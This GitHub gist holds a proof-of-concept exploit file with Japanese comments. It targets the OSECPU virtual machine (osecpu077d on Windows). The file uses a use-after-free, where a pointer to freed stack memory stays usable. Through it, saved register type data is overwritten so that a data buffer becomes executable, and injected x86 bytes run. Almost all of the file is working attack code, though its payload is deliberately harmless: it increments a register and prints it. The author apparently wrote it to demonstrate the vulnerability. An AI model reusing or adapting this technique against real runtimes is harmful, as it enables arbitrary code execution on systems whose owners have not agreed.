Skip to content

Instantly share code, notes, and snippets.

@yuta-aoyagi
Created April 2, 2014 14:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yuta-aoyagi/9935015 to your computer and use it in GitHub Desktop.
Save yuta-aoyagi/9935015 to your computer and use it in GitHub Desktop.
/**
* @file junkStackExploit.ask
* @brief OSECPU-VMに任意のx86コードを実行させる脆弱性のexploit.
* @author Yuta Aoyagi
* @date 2014-04-02
*
* Windows版osecpu077dで検証した.
* 攻撃を成功させるためには, jitCompA0001_EBP128がデフォルト通り128である必要がある.
* 少し工夫すればこのマクロの値によらず攻撃を成功させられるはずだ(P30とP2Cのように4つ離れたレジスタを使えばよいだろう).
*
* 脆弱性の本質的な原因は, tfreeで解放された領域のポインタが無効にならないことである.
*/
#include "osecpu_ask.h"
// 関数・データのラベル宣言.
%define L_x86Code LOCAL(0)
#define L_letExecutable LOCAL(1)
LOCALLABELS(2);
/*
* 実行される任意のx86コード.
* 実行されたことが分かるが無害であるようなコードとして, ここでは
* R00++; PCP(P3F, P30);
* を選んだ.
*/
DAT_SA(L_x86Code, T_UINT8, 9);
DB(0x43); // INC(R00);
DB(0x8b, 0x85, 0x80, 0x06, 0x00, 0x00); // MOV(EAX, P30.p);
DB(0xff, 0xe0); // JMP(EAX);
DAT_END();
// グローバルなレジスタ割り当て.
VPtr code:P01, junkStack:P20;
// main
do {
// talloc(junkStack, T_SINT32, 48);
R38 = T_SINT32; R39 = 48; DB(0x30, 0x20, 0x38, 0x39);
DB(0x31, 0x3f, 0x3f, 0x3f); // tfree();
PLIMM(code, L_x86Code);
CALL(L_letExecutable);
// この時点でcode(P01)は実行可能になっている.
junkApi_putStringDec('Before R00: \1\n', R00, 10, 0);
PCALL(P01);
junkApi_putStringDec('After R00: \1', R00, 10, 0);
}
/*
* @brief 先に保存したjunkStack(P20)を使ってcode(P01)を実行可能にする.
*/
beginFunc(L_letExecutable); do {
R00 = 0; // TYP_CODE
R01 = 41; // 0から31まで: 整数レジスタ, 32から39: P00, 40: P01.p, 41: P01.typ
PASMEM0(R00, T_SINT32, junkStack, R01); // ENTER(0x3c)が保存した領域を書き換える.
// この関数から抜ける直前に, LEAVE(0x3d)が書き換えられた領域をレジスタにコピーする.
} endFunc();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment